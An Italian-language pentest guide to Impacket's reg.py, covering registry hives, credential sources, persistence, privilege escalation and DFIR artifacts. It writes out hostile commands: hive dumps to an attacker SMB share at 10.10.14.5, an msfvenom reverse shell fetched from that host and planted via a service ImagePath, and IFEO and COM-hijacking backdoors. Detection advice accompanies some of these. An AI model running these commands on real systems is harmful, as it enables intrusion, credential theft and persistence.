reg.py Impacket: Guida Completa al Registro di Sistema Remoto di Windows per Pentest #

Il registro di Windows non è solo configurazione: è una miniera di credenziali, backdoor e informazioni di persistenza. reg.py, script della suite Impacket, permette di leggere e scrivere il registro di una macchina Windows da remoto, senza bisogno di RDP o shell interattiva — sfruttando l’interfaccia MS-RRP (Remote Registry Protocol) sopra SMB.

Questa guida è organizzata in blocchi logici: prima le basi del tool e del registro, poi credenziali, poi persistenza, poi privilege escalation, poi forensics/DFIR, e infine detection, hardening e cheat sheet finale.

1. Le hive del registro: HKLM, HKCU, HKU, HKCR, HKCC #

Prima di usare qualsiasi tool sul registro, bisogna sapere cosa sono le hive di primo livello. Sono radici logiche diverse, ognuna con uno scopo preciso, e capire la differenza cambia dove vai a cercare credenziali o configurazioni deboli.

Punto chiave da tenere a mente: HKCU è solo uno specchio della sottochiave di HKU relativa al SID dell’utente corrente. Quando ti connetti da remoto con reg.py usando le credenziali di un utente, stai vedendo l’HKCU di quell’utente, non necessariamente quello loggato interattivamente sulla console. Se vuoi leggere il profilo di un altro utente che non è quello con cui hai autenticato, devi passare per HKU\<SID-utente> invece che per HKCU.

# Elenca i SID caricati (= utenti con profilo attivo) sotto HKU
reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKU -s

Questo è fondamentale in post-exploitation: se hai compromesso una macchina dove sono loggati più utenti, HKU ti dà accesso a tutti i loro HKCU senza dover impersonare nessuno di loro.

Esempio pratico: una volta che hai il SID di un altro utente (da query -keyName HKU -s, oppure da un lookupsid/whoami /user fatto in un’altra fase), interroghi direttamente quel profilo — anche via IPv6 e pass-the-hash, come nel caso tipico di una macchina HTB:

reg.py htb.local/henry.vinson@dead:beef::b885:d62a:d679:573f -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName 'HKU\S-1-5-21-2993095098-2100462451-206186470-1105' -s

Il SID S-1-5-21-...-1105 è un RID custom (>1000), quindi un utente reale del dominio, non un account di servizio built-in. Con -s ricorsivo su quella chiave ottieni l’intero HKCU di quell’utente in un colpo solo — Run keys, PuTTY sessions, RunMRU, RDP Servers, tutto quello visto nelle sezioni sopra, ma riferito a lui.

Leggere HKCU di un utente NON loggato — reg load #

HKU ti dà accesso solo ai profili attualmente caricati (utenti loggati ora). Se un altro utente esiste sulla macchina ma non è loggato, il suo profilo non compare sotto HKU — ma il file NTUSER.DAT esiste comunque su disco. Con privilegi sufficienti (admin locale, o SeRestorePrivilege) puoi montarlo tu stesso in una chiave temporanea e leggerlo come se fosse online.

reg load HKU\temp_utente C:\Users\vittima\NTUSER.DAT

Da quel momento HKU\temp_utente è navigabile esattamente come un HKCU normale — stesse Run key, stesse PuTTY sessions, stesso RunMRU, stessi RDP Servers visti sopra, ma per un utente che non ha mai aperto sessione mentre eri connesso tu.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKU\temp_utente\Software\Microsoft\Windows\CurrentVersion\Run" -s

Quando hai finito, scarica sempre la hive: se resta montata, al prossimo login di quell’utente Windows non trova il profilo libero e gli assegna un profilo temporaneo (l’utente se ne accorge subito, e in un pentest è un errore da evitare).

reg unload HKU\temp_utente

Se reg unload fallisce con “accesso negato”, di solito è perché un processo ha ancora un handle aperto sulla hive (es. Explorer o PowerShell con quella chiave come working directory). Chiudi ogni sessione che la sta referenziando e riprova.

Stessa tecnica funziona per leggere il profilo Default (il template usato per ogni nuovo utente creato sulla macchina — utile per capire quali impostazioni/autorun vengono ereditate da account futuri):

reg load HKU\default_profile C:\Users\Default\NTUSER.DAT

Dove vivono fisicamente le hive sul disco #

Le hive non esistono solo in memoria: sono backuppate su disco come file. Conoscerlo serve per l’estrazione offline (es. da un’immagine forense o da un backup):

C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY
C:\Windows\System32\config\SOFTWARE
C:\Users\<utente>\NTUSER.DAT          <- corrisponde a HKCU di quell'utente
C:\Users\<utente>\AppData\Local\Microsoft\Windows\UsrClass.dat  <- HKCU\Software\Classes, contiene le ShellBags

2. Come funziona reg.py #

reg.py si connette al target via SMB (porta 445) e parla con il servizio Remote Registry attraverso l’interfaccia RPC [MS-RRP] — lo stesso protocollo che usa reg.exe su Windows, ma pilotato da remoto con credenziali valide (password, hash NTLM o ticket Kerberos).

Se il servizio Remote Registry è disabilitato, Impacket lo avvia automaticamente per l’operazione e lo ripristina allo stato originale al termine. Questo comportamento è importante da conoscere sia in attacco (poco rumoroso, ma genera comunque eventi) sia in difesa (il servizio non deve mai apparire “avviato di recente” senza motivo).

Requisiti per usarlo #

• Accesso SMB alla porta 445 del target
• Credenziali valide: utente locale amministratore, utente di dominio con privilegi, oppure hash NTLM per pass-the-hash
• Per leggere hive protette come SAM/SECURITY: privilegio SeBackupPrivilege o appartenenza al gruppo Backup Operators, oltre ai permessi di amministratore locale

Sintassi base e autenticazione #

reg.py [dominio/]utente[:password]@target <azione> [opzioni]

Autenticazione con password:

reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKLM\\SOFTWARE

Autenticazione con hash NTLM (pass-the-hash), utile quando non hai la password in chiaro ma solo l’hash estratto ad esempio con secretsdump:

reg.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c CORP/admin@10.10.10.5 query -keyName HKLM\\SYSTEM

Autenticazione Kerberos (pass-the-ticket), quando lavori con un ticket già ottenuto (es. da Rubeus):

reg.py -k -no-pass CORP/admin@dc01.corp.local query -keyName HKLM\\SAM

3. Le 5 azioni di reg.py #

query — leggere chiavi e valori #

Elenca le sottochiavi e i valori di una chiave specifica.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -s

Il flag -s (subkeys) rende la query ricorsiva, molto utile per enumerare intere gerarchie come le chiavi di autorun.

add — scrivere valori #

Aggiunge o modifica un valore di registro. Serve specificare il tipo con -vt.

reg.py CORP/admin:Password123@10.10.10.5 add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin -vt REG_DWORD -vd 1

Questo esempio disabilita RestrictedAdmin Mode per RDP — tecnica nota per abilitare pass-the-hash su RDP dopo compromissione. Da testare solo in lab autorizzati, per capire cosa un attaccante potrebbe fare e come rilevarlo.

delete — rimuovere chiavi o valori #

reg.py CORP/admin:Password123@10.10.10.5 delete -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin

save — esportare una hive in un file #

Salva una chiave (tipicamente un’intera hive) in un file .save sul target, poi recuperabile via share SMB.

reg.py CORP/admin:Password123@10.10.10.5 save -keyName 'HKLM\SAM' -o '\\10.10.14.5\share\SAM.save'

backup — dump rapido di SAM, SYSTEM e SECURITY #

Comando speciale pensato apposta per il caso d’uso più comune: estrarre in un colpo solo le tre hive necessarie per il cracking degli hash.

reg.py CORP/admin:Password123@10.10.10.5 backup -o '\\10.10.14.5\share'

4. WOW64 — la redirezione del registro che confonde tutti #

Su un Windows a 64 bit, un processo 32 bit non vede lo stesso registro di un processo 64 bit. Questo comportamento si chiama Registry Redirector, ed è la causa numero uno di query che “non trovano niente” durante un pentest — un errore comune anche tra pentester esperti.

Come funziona la redirezione #

Quando un processo a 32 bit prova a leggere/scrivere sotto HKLM\SOFTWARE, Windows lo intercetta silenziosamente e lo reindirizza a:

HKLM\SOFTWARE\Wow6432Node

Il processo 32 bit non se ne accorge: crede di stare leggendo HKLM\SOFTWARE normale, ma fisicamente i dati vivono nella sottochiave Wow6432Node. Un processo 64 bit invece vede il vero HKLM\SOFTWARE, senza redirezione.

Perché conta in un pentest #

Se stai enumerando una macchina e usi un tool a 32 bit (uno script Python compilato a 32 bit, un binario legacy), e cerchi una chiave software che sai essere presente, potresti non trovarla — semplicemente perché stai guardando nella vista sbagliata. Viceversa, se un malware o un payload gira a 32 bit su un host 64 bit, la sua persistenza tramite Run key finisce sotto Wow6432Node, non nel percorso “normale”: un dettaglio da controllare sempre quando si enumerano le chiavi di autorun.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"

Chiavi condivise (non redirette) #

Non tutto viene reindirizzato. Alcune chiavi sono condivise: esiste una sola copia fisica, vista identicamente da entrambe le architetture. HKLM\SYSTEM (dove vivono SAM, servizi, configurazioni di sicurezza) è tra queste — motivo per cui reg.py, che parla direttamente col protocollo MS-RRP, non ha il problema di redirezione quando lavora su quelle chiavi.

Accesso esplicito a una vista specifica #

Da PowerShell o codice, si può forzare la vista desiderata con i flag KEY_WOW64_64KEY e KEY_WOW64_32KEY, ignorando la redirezione automatica. Da riga di comando, reg.exe nativo supporta lo stesso concetto:

:: Forza la lettura della vista a 64 bit anche da un reg.exe a 32 bit
reg query "HKLM\SOFTWARE\Esempio" /reg:64

:: Forza la vista a 32 bit
reg query "HKLM\SOFTWARE\Esempio" /reg:32

Registry Reflection (solo sistemi legacy) #

Su Windows XP/Vista/Server 2003/2008 esisteva anche la Registry Reflection: un meccanismo che sincronizzava automaticamente un sottoinsieme di chiavi tra vista 32 e 64 bit, per compatibilità tra componenti COM. È stata rimossa da Windows 7 in poi — se stai lavorando su un sistema moderno non la incontrerai, ma è bene sapere che esisteva se ti capita di leggere documentazione o writeup datati.

5. Enumerazione generale del sistema via registro #

Oltre alle chiavi di sicurezza, il registro racconta tutta l’identità della macchina target. Query utili in fase di recon, prima ancora di pensare a privesc o dump credenziali:

# Versione OS e build
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"

# Nome macchina
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName"

# Fuso orario (utile per correlare timestamp nei log)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation"

# Interfacce di rete configurate
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" -s

# Reti a cui la macchina si è connessa (utile per capire il contesto: VPN aziendale, wifi pubbliche, ecc.)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList" -s

# Dispositivi USB storici collegati (utile in forensics e in verifica data-exfil)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR" -s

6. Credenziali nel registro #

Questa è la sezione più critica per un pentest: tutte le fonti di credenziali — dirette o cifrate — che vivono nel registro.

6.1 Autologon in chiaro (Winlogon) #

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Se AutoAdminLogon è impostato a 1, la password si trova spesso in DefaultPassword in testo semplice. Il set completo di valori da controllare:

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

6.2 WDigest — credenziali in chiaro in memoria #

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

Se UseLogonCredential è a 1, Windows mantiene le password in chiaro in memoria LSASS, rendendole estraibili con Mimikatz dopo compromissione. Verificarlo da remoto con reg.py ti dice, prima ancora di avere una shell, se questo target è un bersaglio ad alto valore per il dump di credenziali in chiaro.

6.3 LSA Protection (RunAsPPL) e Credential Guard #

Prima di pianificare un dump LSASS, conviene sapere se il target è protetto.

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL

Se questo valore è 1 (o 2 su Windows 11 22H2+ senza UEFI lock), lsass.exe gira come Protected Process Light (PPL): nessun processo non protetto — nemmeno un amministratore con SeDebugPrivilege — può aprirne la memoria per leggere credenziali. È probabilmente la singola misura più efficace contro Mimikatz sekurlsa::logonpasswords.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa"

Se il valore manca o è 0, il target è vulnerabile al classico dump LSASS.

Un livello ancora superiore è Credential Guard, basato su virtualizzazione:

HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LsaCfgFlags

Quando attivo, Credential Guard isola i segreti derivati da NTLM/Kerberos in un container basato su virtualizzazione (VBS), separato dal kernel Windows — un processo LsaIso.exe gestisce l’accesso, e nemmeno un kernel exploit riesce a raggiungere direttamente le credenziali. LsaCfgFlags a 1 o 2 indica Credential Guard abilitato.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LsaCfgFlags"

Se attivo, il dump diretto degli hash utente da LSASS è efficacemente bloccato — verifica sempre questo valore prima di puntare tutto su Mimikatz.

6.4 LSA Secrets — cosa contiene davvero HKLM\SECURITY #

HKLM\SECURITY non è una singola credenziale: è un contenitore di secrets multipli, ognuno cifrato con la chiave derivata dalla boot key di SYSTEM. Il percorso interno dove vivono è:

HKLM\SECURITY\Policy\Secrets

Query e dump:

reg.py CORP/admin:Password123@10.10.10.5 save -keyName 'HKLM\SECURITY' -o '\\10.10.14.5\share\SECURITY.save'

secretsdump.py -security ./loot/SECURITY.save -system ./loot/SYSTEM.save LOCAL

Output tipico:

[*] Dumping LSA Secrets
_SC_MSSQLSERVER:CORP\svc_sql:P@ssw0rd2024!
DPAPI_SYSTEM:01000000...
NL$KM:0a1b2c3d...

Il valore _SC_MSSQLSERVER in chiaro è tipicamente il colpo più grosso in un pentest: un account di servizio con password in chiaro, spesso con privilegi elevati nel dominio perché i service account raramente ruotano la password.

6.5 Cached Domain Credentials (DCC/DCC2) #

Quando un laptop aziendale si disconnette dalla rete, Windows deve comunque permettere il login con l’account di dominio. Per farlo, salva localmente una versione hashata delle credenziali: sono le Domain Cached Credentials, note come mscash (v1) o mscash2/DCC2 (Vista in poi).

HKLM\SECURITY\Cache

con voci NL$1, NL$2, … NL$10 di default — una per ogni utente di dominio loggato di recente. La chiave NL$KM (vista sopra) serve a decifrarle.

Punto fondamentale: DCC2 non è un hash NTLM. Non puoi usarlo per pass-the-hash — serve solo a verificare offline una password digitata al login, l’unico modo per sfruttarlo è craccarlo.

secretsdump.py -security ./loot/SECURITY.save -system ./loot/SYSTEM.save LOCAL

[*] Dumping cached domain logon information (domain/username:hash)
CORP.LOCAL/jsmith:$DCC2$10240#jsmith#e4e4e18ac7d15990f64ebe1be1989d9f

Cracking (modalità 2100 = DCC2/MS-Cache2):

hashcat -m 2100 dcc2_hashes.txt rockyou.txt

Il numero 10240 è l’iteration count del PBKDF2 interno — rende il cracking più lento di un NTLM puro. Il numero massimo di credenziali cachate è controllato da:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCount

6.6 Credenziali applicative aggiuntive #

Oltre a SAM/SYSTEM/SECURITY, altre fonti minori ma reali:

keymgr.dll (Credential Manager stub) — le credenziali di rete salvate dal Credential Manager sono cifrate con DPAPI, non leggibili in chiaro via reg query. Vanno estratte con Mimikatz dpapi::cred dopo aver ottenuto la master key dell’utente.

PuTTY — sessioni salvate:

HKCU\Software\SimonTatham\PuTTY\Sessions

Hostname salvati e, in configurazioni scadenti, riferimenti a chiavi private o proxy.

VNC — password nel registro:

HKLM\SOFTWARE\RealVNC\WinVNC4
HKCU\Software\ORL\WinVNC3\Default

Molti server VNC storici salvano la password debolmente offuscata (spesso reversibile) direttamente qui.

7. Persistenza via registro #

7.1 Run, RunOnce e servizi #

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SYSTEM\CurrentControlSet\Services\<nomeservizio>

Le chiavi Run sono il primo posto in cui un attaccante (o un malware) piazza l’esecuzione automatica.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -s

La chiave Services mostra ogni servizio installato, il suo ImagePath (potenzialmente dirottabile con unquoted service path) e l’account con cui gira.

7.2 StartupApproved — lo stato reale delle voci di autorun #

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder

Un valore in Run senza corrispondente approvazione qui può indicare una voce disabilitata manualmente dall’utente tramite Task Manager — utile per capire se una entry trovata in Run è effettivamente attiva. I byte 02/03 all’inizio del valore binario indicano abilitato/disabilitato.

7.3 Autoruns avanzati — oltre Run e RunOnce #

Windows ha diversi altri Autostart Extension Point (ASEP), meno conosciuti ma altrettanto sfruttati:

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute"

7.4 Active Setup — persistenza legata al profilo utente #

HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\<GUID>

Meccanismo pensato per eseguire codice al primo login di un nuovo utente (tipico in ambienti con profili roaming/Terminal Server). Il valore StubPath contiene il comando. Se alzi il version number registrato qui rispetto a quanto tracciato sotto HKCU\...\Active Setup\Installed Components, il comando riparte per ogni utente al login successivo, anche per utenti già esistenti.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" -s

7.5 IFEO — Image File Execution Options #

MITRE ATT&CK: T1546.012. IFEO permette di agganciare un debugger a un eseguibile specifico: ogni volta che quell’eseguibile parte, il debugger viene lanciato con esso. Meccanismo legittimo ma tra i più abusati per persistenza perché non tocca il file originale.

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<nomeprocesso.exe>

Tecnica 1 — Debugger hijack:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "C:\Windows\System32\calc.exe"

In laboratorio, ogni apertura di notepad.exe lancerebbe calc.exe al suo posto — in scenario reale un attaccante sostituirebbe una utility di accessibilità richiamabile dalla schermata di login (utilman.exe, sethc.exe), ottenendo esecuzione SYSTEM prima del login (“sticky keys backdoor”).

reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" -v Debugger -vt REG_SZ -vd "C:\Windows\System32\cmd.exe"

Tecnica 2 — SilentProcessExit: monitora la chiusura “silenziosa” di un processo e lancia un binario di risposta.

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<processo.exe>\GlobalFlag
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<processo.exe>

:: 1. Abilita il monitoraggio (GlobalFlag = 0x200)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

:: 2. Configura cosa succede alla chiusura
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\calc.exe"

Il payload parte con processo padre WerFault.exe, meno sospetto a un’analisi superficiale del process tree.

Detection IFEO: monitora scritture su Image File Execution Options\*\Debugger e SilentProcessExit\*\MonitorProcess via Sysmon Event ID 13; qualsiasi Debugger che punta a cmd.exe/powershell.exe è sospetto; verifica periodicamente le chiavi IFEO su utilman.exe, sethc.exe, osk.exe, Magnify.exe.

7.6 MountedDevices — mappa di tutti i volumi visti dalla macchina #

HKLM\SYSTEM\MountedDevices

A differenza di MountPoints2 (per-utente, vista in forensics), questa chiave è a livello macchina e mappa ogni lettera di unità e volume GUID mai montato — inclusi dischi cifrati, chiavette USB, volumi di rete.

8. Registry ACL e privilege escalation #

8.1 Come funzionano i permessi del registro #

Ogni chiave di registro ha un Security Descriptor — la struttura che definisce proprietario e permessi dell’oggetto. Contiene due liste distinte:

• DACL (Discretionary Access Control List): definisce chi può accedere all’oggetto e come — i permessi veri e propri
• SACL (System Access Control List): definisce cosa viene loggato/auditato — serve per i log di sicurezza, non per l’accesso

La DACL è composta da regole chiamate ACE (Access Control Entry): “a questo SID è concesso/negato questo accesso”. Windows valuta le ACE in ordine, e le negazioni esplicite vengono processate prima delle concessioni.

Punto critico: una DACL vuota nega tutto l’accesso, ma una chiave senza DACL (NULL DACL) concede accesso completo a chiunque — configurazione pericolosa, spesso frutto di errore.

8.2 Leggere e scrivere permessi #

Con PowerShell (LOLBins-first, nessun tool esterno):

Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio" | Format-List

Path   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NomeServizio
Owner  : NT AUTHORITY\SYSTEM
Access : NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         NT AUTHORITY\Authenticated Users Allow  FullControl   <- questa è la ACE pericolosa

Se vedi Authenticated Users o Everyone con FullControl/Write su una chiave servizio che gira come SYSTEM, hai trovato una escalation.

Set-Acl per modificare (in lab, per dimostrare l’impatto):

$acl = Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule("NT AUTHORITY\Authenticated Users","FullControl","Allow")
$acl.SetAccessRule($rule)
Set-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio" -AclObject $acl

Dal Registry Editor: tasto destro sulla chiave → Autorizzazioni → stessa DACL in forma grafica.

8.3 Weak Registry Permissions — sfruttamento pratico #

MITRE ATT&CK: T1574.011 (Hijack Execution Flow: Services Registry Permissions Weakness). Se un utente a bassi privilegi ha diritti di scrittura su una chiave Services che gira come SYSTEM, può dirottare l’esecuzione del servizio modificando ImagePath.

Enumerare chiavi vulnerabili:

Con AccessChk di Sysinternals:

accesschk.exe /accepteula "authenticated users" -kvuqsw hklm\System\CurrentControlSet\services

Con PowerShell puro:

Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\<nomeservizio> | fl

Con PowerUp.ps1 (automatizza su tutto l’albero):

Import-Module .\PowerUp.ps1
Get-ModifiableRegistryAutoRun

Da remoto, prima di avere una shell:

reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto"

Sfruttamento:

:: 1. Prepara un binario (in lab: reverse shell)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=8888 -f exe -o shell.exe

:: 2. Trasferiscilo sul target
powershell wget http://10.10.14.5/shell.exe -o C:\Users\Public\shell.exe

:: 3. Sovrascrivi ImagePath
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto" /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Public\shell.exe" /f

:: 4. Riavvia il servizio
net start NomeServizioSospetto

Da remoto via reg.py direttamente:

reg.py CORP/utente:Password1@10.10.10.5 add -keyName "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto" -v ImagePath -vt REG_EXPAND_SZ -vd "C:\Users\Public\shell.exe"

Funziona solo se hai anche il permesso di avviare/riavviare il servizio, o se si riavvia automaticamente (crash loop, reboot).

8.4 UAC, Restricted Admin e LocalAccountTokenFilterPolicy #

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

Valori chiave: EnableLUA (UAC attivo/disattivo), LocalAccountTokenFilterPolicy (se 1, un admin locale remoto ottiene token completo invece che filtrato — abilita PsExec/WMI lateral movement con account locali), FilterAdministratorToken.

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin

Controlla se RDP accetta l’autenticazione Restricted Admin Mode (pass-the-hash via RDP).

8.5 AlwaysInstallElevated #

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

Se entrambe le chiavi sono a 1, qualsiasi utente può installare pacchetti .msi con privilegi SYSTEM — una delle escalation più dirette e più spesso dimenticate in hardening.

reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" -s

9. COM Hijacking e File Association Hijacking #

9.1 COM Hijacking #

MITRE ATT&CK: T1546.015. Il Component Object Model è l’infrastruttura con cui i programmi Windows si scambiano funzionalità. Ogni componente COM è identificato da un CLSID (GUID), mappato nel registro a un DLL (InprocServer32) o eseguibile (LocalServer32).

HKCR\CLSID\{CLSID}\InprocServer32\(Default) = C:\Windows\System32\qualchecosa.dll
HKCR\CLSID\{CLSID}\ProgID = NomeLeggibile.Application

Perché è sfruttabile: Windows risolve prima HKCU\Software\Classes\CLSID e solo dopo HKLM\Software\Classes\CLSID. Un utente non amministratore può creare una voce sotto la propria HKCU che punta a un CLSID legittimo, e Windows userà quella — senza privilegi elevati.

# Verifica se un CLSID esiste già sotto HKCU (se manca, è "hijackable")
reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}"

Il CLSID {42aedc87-2188-41fd-b9a3-0c966feabec1} (MruPidlList) è tra i più usati in campagne reali perché caricato da explorer.exe a ogni logon.

Sfruttamento:

reg add "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\payload.dll" /f
reg add "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f

Copia ThreadingModel esattamente dalla registrazione HKLM originale, altrimenti l’attivazione si rompe (crash visibile).

Variante stealth — TreatAs: fa “trattare” un CLSID come un altro, meno monitorata di InprocServer32:

reg add "HKCU\Software\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f

Detection: monitora creazione chiavi sotto HKCU\Software\Classes\CLSID\* (Sysmon Event ID 13); un CLSID che dovrebbe esistere solo in HKLM ma compare in HKCU è un forte indicatore; costruisci una baseline (installazioni/update legittimi modificano COM regolarmente).

9.2 File Association Hijacking #

HKCR\<progid>\shell\open\command

Esempio: HKCR\txtfile\shell\open\command\(Default) = "%SystemRoot%\system32\NOTEPAD.EXE" "%1".

Se questo comando viene sostituito, ogni doppio click su quel tipo di file esegue il payload — spesso il payload rilancia l’app originale per non destare sospetti (payload.exe "%1" → poi invoca notepad).

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCR\txtfile\shell\open\command"

Caso critico: l’associazione dell’estensione .exe stessa (HKCR\exefile\shell\open\command) — se alterata, ogni eseguibile lanciato con doppio click passa dal payload, colpendo l’intera superficie di esecuzione dell’utente.

10. Accesso remoto: RDP, WinRM, LAPS #

RDP #

HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections

fDenyTSConnections a 0 indica RDP abilitato. UserAuthentication indica se è richiesta la Network Level Authentication (NLA).

WinRM #

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WinRM\Service

Verifica se WinRM (5985/5986) accetta autenticazione Basic o solo Kerberos/NTLM.

LAPS #

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS

Indica se LAPS è configurato. In combinazione con GetLAPSPassword puoi verificare se hai i permessi per leggere la password ruotata.

11. Forensics e DFIR — evidence of execution #

Il registro tiene traccia, spesso in modo ridondante, di quali programmi sono stati eseguiti, quando e quante volte. Questi artefatti sono il cuore del DFIR e servono anche a capire se sei stato preceduto da un altro attaccante.

11.1 ShellBags — tracce di navigazione delle cartelle #

Registrano dettagli su ogni cartella aperta in Explorer, anche se la cartella o l’unità non esiste più.

C:\Users\<utente>\AppData\Local\Microsoft\Windows\UsrClass.dat

HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\Bags
HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU

Punto pratico: da remoto via reg.py non hai un “HKCR” magico dell’altro utente — passa per HKU\<SID-utente>_Classes\..., la vista caricata di UsrClass.dat di quello specifico utente. Se il SID non ha un profilo _Classes caricato, l’hive va estratta offline dal file su disco.

Uso pratico: ricostruire quali share/dischi esterni l’utente ha navigato, individuare cartelle sospette lasciate da un attaccante precedente.

reg.py CORP/admin:Password123@10.10.10.5 save -keyName 'HKU\<SID-utente>_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU' -o '\\10.10.14.5\share\bagmru.save'

Analisi con ShellBags Explorer (Eric Zimmerman tools).

11.2 UserAssist — GUI apps con conteggio esecuzioni #

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count

Traccia programmi lanciati dalla GUI di Explorer, con conteggio esecuzioni e timestamp. Nomi cifrati con ROT13.

Due GUID principali:

• {CEBFF5CD-ACE2-4F4F-9178-9926F41749EA} — esecuzione diretta .exe
• {F4E57C4B-2036-45F0-A9AB-443BCFE33D9F} — esecuzione tramite .lnk

function Decode-ROT13 {
    param($string)
    $string.ToCharArray() | ForEach-Object {
        if ([char]::IsLetter($_)) {
            $code = [int][char]$_
